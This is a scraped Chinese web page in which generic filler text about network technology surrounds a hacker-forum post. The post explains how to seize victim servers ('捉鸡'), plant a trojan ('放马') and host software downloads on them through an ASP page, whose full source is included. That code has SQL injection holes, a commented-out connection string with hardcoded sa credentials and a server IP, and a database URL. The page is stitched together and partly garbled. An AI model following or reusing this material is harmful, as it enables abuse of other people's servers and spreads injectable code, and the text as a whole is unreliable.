发布时间：2023-09-09 来源：win7旗舰版 浏览量：
|
网络技术是从1990年代中期发展起来的新技术，它把互联网上分散的资源融为有机整体，实现资源的全面共享和有机协作，使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享，网络则被认为是互联网发展的第三阶段。 把软件放在数据库里供下载步骤: 1;捉鸡 2:放马. 3:数据库里加一个表:ACCESS的用.ASP的数据库工具直接加;SQL的3389进去用SQL的企业管理器 也可以在自己的机子里先做好一个;然后导入 4;无组件上传{和传图片入库的方法一样;网上介绍的方法多的是};导入的这步就省了 5:做个.ASP的下载页放鸡的站里一个.ASP里 6:自己站上放一个框架.....SRC=....?down=1 俩点问题: 一:每个上传的软件超过30M下载试时不稳定;下不来的时候多 二:SQL库里表中ID字段要特别设置自增 做的不好:见笑见笑;第一个测试的鸡里还让不知道哪位大侠把库里数据删了俩次:呵呵厉害 看来ASP木马里不加IP识别码是不行了 <%@codepage=936%><%Response.Buffer=True Response.Expires=-1 Response.ExpiresAbsolute=Now()-1 Response.Expires=0 Response.CacheControl = "no-cache" On Error Resume Next Co=Request.ServerVariables("URL") Session("lp")=Session.SessionID dim conn,dbpath set conn=server.createobject("ADODB.CONNECTION") 'conn.open "PROVIDER=SQLOLEDB;DATASOURCE=211.151.188.8;UID=sa;PWD=2004;DATABASE=ddwen" dbpath=server.mappath("ddwen.asp") conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&DBPath 'conn.open "driver={microsoft access driver (*.mdb)};dbq="&dbpath%><HTML><HEAD><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><STYLE>BODY { FONT-SIZE: 9pt; COLOR: blue } TABLE { FONT-SIZE: 9pt; FONT-FAMILY: 宋体 } A { FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 宋体; TEXT-DECORATION: none } A:hover { COLOR: red; FONT-FAMILY: 宋体 } INPUT { BORDER-RIGHT: blue 1px solid; BORDER-TOP: blue 1px solid; FONT-SIZE: 9pt; BACKGROUND: #FFF0B2; BORDER-LEFT: blue 1px solid; BORDER-BOTTOM: blue 1px solid; FONT-FAMILY: Verdana,Arial FONT-COLOR:blue } </STYLE><TITLE>蓝屏软件</TITLE> <script language="javascript"> function popwin2(id,path) {window.open("<%=Co%>?id="+id+"&ppath="+path,"","height=450,width=600,resizable=yes,scrollbars=yes,status=no,toolbar=no,menubar=yes,location=no");} </script> </HEAD><% const MaxPerPage=10 dim totalPut,CurrentPage,TotalPages,i,j,keyword keyword=Replace(request("txtitle"),"'","") keyword=Replace(keyword,";","") if not isempty(request("page")) then currentPage=cint(request("page")) else currentPage=1 end if dim sql,rs,rstype,typesql,typeid,typename if not isEmpty(request("typeid")) then typeid=request("typeid") else typeid=1 end if set rstype=server.createobject("adodb.recordset") typesql="select * from soft" rstype.open typesql,conn,1,1 typename=rstype("type") rstype.close%> <table cellspacing=1 cellpadding=1 width=755 align=center border=0 bgcolor=#006666> <tbody> <tr height=20> <TD colSpan=3 width="300"align=center>==><A title=美人 href="girl.asp">秀 <a/> <A title=刷新 href="<%=Request.ServerVariables("URL")%>"> 本文件: <%=Request.ServerVariables("URL")%></A></TD> <td align="center" width="20%" style="COLOR: #ffff00" bgColor=#2b77bd height=10> <SCRIPT language=JavaScript> today=new Date(); function initArray(){ this.length=initArray.arguments.length for(var i=0;i<this.length;i++) this[i+1]=initArray.arguments } var d=new initArray( "星期日", "星期一", "星期二", "星期三", "星期四", "星期五", "星期六"); document.write( "<font color=ffff00 style='font-size:10pt;font-family: 宋体'> ", today.getYear(),"年", today.getMonth()+1,"月", today.getDate(),"日 ", d[today.getDay()+1], "</font>" ); </SCRIPT></td> </tr> </tbody> </table> <body> <table border=1 cellpadding=0 cellspacing=0 width=755 bgcolor="#ddee00" align="center"> <tr> <td width="100%" valign="top"> <table border="0" cellpadding="3" cellspacing="0" width="100%"> <tr> <td width="100%" valign="top"> <%sql="select * from soft where sm like '%"&keyword&"%' order by id desc" '注意漏洞:.; Set rs= Server.CreateObject("ADODB.Recordset") rs.open sql,conn,1,1 if rs.eof and rs.bof then response.write "<p align='center'>没有或没有找到任何程序</p>" else totalPut=rs.recordcount totalPut=rs.recordcount if currentpage<1 then currentpage=1 end if if (currentpage-1)*MaxPerPage>totalput then if (totalPut mod MaxPerPage)=0 then currentpage= totalPut \ MaxPerPage else currentpage= totalPut \ MaxPerPage + 1 end if end if if currentPage=1 then showpage totalput,MaxPerPage,""&Co&"" showContent showpage totalput,MaxPerPage,""&Co&"" else if (currentPage-1)*MaxPerPage<totalPut then rs.move (currentPage-1)*MaxPerPage dim bookmark bookmark=rs.bookmark showpage totalput,MaxPerPage,""&Co&"" showContent showpage totalput,MaxPerPage,""&Co&"" else currentPage=1 showpage totalput,MaxPerPage,""&Co&"" showContent showpage totalput,MaxPerPage,""&Co&"" end if end if rs.close end if set rs=nothing sub showContent dim i i=0%> <div align="center"> <center> <table border="1" cellspacing="0" width="97%" cellpadding="0"> <tr bgcolor="#50aac5"> <td width="32" align="center" height="20"><b>ID</b></td> <td width="110" align="center"><b>软件名{点击下载}</td> <td width="40" align="center"><b>大小</b></td> <td width="191" align="center"><b>软件简介</b></td> <td width="128" align="center"><b>加入日期</b></td> <td width="34" align="center"><b>点击</b></td> </tr> <%do while not rs.eof%> <tr> <td height="23" width="32" bgcolor="#FFF0B2"> <p align="center"><%=rs("id")%> </td> <td width="110" bgcolor="#FFF0B2"> <p align="center"><form><input name=id type=hidden value=<%=rs("id")%>><input name=dn type=submit value=<%=left(rs("name"),40)%> title=点击下载></td></form> <td width="40" bgcolor="#FFF0B2"> <p align="center"><a href=# "javascript:popwin2(<%=rs("id")%>)" title=<%=rs("sm")%>><font color="#000000"><%=rs("size")%></font></a> </td> <td width="191" bgcolor="#FFF0B2"> <p align="center"><a href=# "javascript:popwin2(<%=rs("id")%>)" title=<%=rs("sm")%>><font color="#000000"><%=left(rs("sm"),30)%></font></a> </td> <td width="128" bgcolor="#FFF0B2"> <p align="center"><font color="red"><i><%=rs("date")%></i></font> </td> <td width="34" bgcolor="#FFF0B2"> <p align="center"><%=rs("hits")%> </td> </tr> <%i=i+1 if i>=MaxPerPage then exit do rs.movenext loop%></table> </center> </div><%end sub function showpage(totalnumber,maxperpage,filename) dim n if totalnumber mod maxperpage=0 then n= totalnumber \ maxperpage else n= totalnumber \ maxperpage+1 end if response.write "<form method=Post action="&filename&"?typeid="&typeid&"&txtitle="&keyword&">" response.write "<p align='center'><font color='red'>"&typename&"</font> " if CurrentPage<2 then response.write "<font color='#000080'>首页 上一页</font> " else response.write "<a href="&filename&"?page=1&typeid="&typeid&"&txtitle="&keyword&">首页</a> " response.write "<a href="&filename&"?page="&CurrentPage-1&"&typeid="&typeid&"&txtitle="&keyword&">上一页</a> " end if if n-currentpage<1 then response.write "<font color='#000080'>下一页 尾页</font>" else response.write "<a href="&filename&"?page="&(CurrentPage+1)&"&typeid="&typeid&"&txtitle="&keyword&">" response.write "下一页</a> <a href="&filename&"?page="&n&"&typeid="&typeid&"&txtitle="&keyword&">尾页</a>" end if response.write "<font color='#000080'> 页次：</font><strong><font color=red>"&CurrentPage&"</font><font color='#000080'>/"&n&"</strong>页</font> " response.write "<font color='#000080'> 共<b>"&totalnumber&"</b>软件 <b>"&maxperpage&"</b>软件/页</font> " response.write " <font color='#000080'>转到：</font><input type='text' name='page' size=4 maxlength=10 class=smallInput type='text' name='txtitle' value="¤tpage&">" response.write " <input class=buttonface type='submit' value=' Goto ' name='cndok'></span></p></form>" end function%> <form name=searchtitle method=POST action=<%=Co%>> <p align=center>简介: <input class=smallInput type="text" name="txtitle" size="13"> <input class=buttonface type="submit" value="查 询" name="title" style="font-size: 9pt"> </p> </form> </td> </tr> </table> </td> </tr> </table> </body></html><center><!SCRIPT src="http://192.168.1.9/jishu/new.asp?view=yes"></SCRIPT><%down=Request("dn") if down<>"" then Set rs = Server.CreateObject("ADODB.Recordset") sql="select * from soft where id ="& Request("id") rs.open sql,conn,1,3 rs("hits")=rs("hits")+1 rs.update Response.Clear Response.AddHeader"Content-Disposition","attachment;filename="&rs("name") Response.AddHeader"Content-Length",rs("size") Response.CharSet="UTF-8" Response.ContentType="application/octet-stream" Response.BinaryWrite rs("lp") Response.Flush Response.end rs.close set rs=nothing end if set conn=nothing%> Set rs = Server.CreateObject("ADODB.Recordset") sql="select * from soft where id ="& Request("id") rs.open sql,conn,1,3 rs("hits")=rs("hits")+1 rs.update Response.Clear Response.AddHeader"Content-Disposition","attachment;filename="&rs("name") Response.AddHeader"Content-Length",rs("size") Response.CharSet="UTF-8" Response.ContentType="application/octet-stream" 'Response.ContentType = rs("Type") 'Response.BinaryWrite rs("rj").getChunk(7500000) ''=========这是直接看图的方法 Response.BinaryWrite rs("lp") Response.Flush Response.end rs.close set rs=nothing http://210.51.181.21/db/ddwen.mdb 网络的神奇作用吸引着越来越多的用户加入其中，正因如此，网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......，各项技术都需要适时应势，对应发展，这正是网络迅速走向进步的催化剂。 |
把软件放在数据库里供下载步骤: 1;捉鸡 2:放马. 3:数据库里加一个表:ACCESS的用.AS
┆
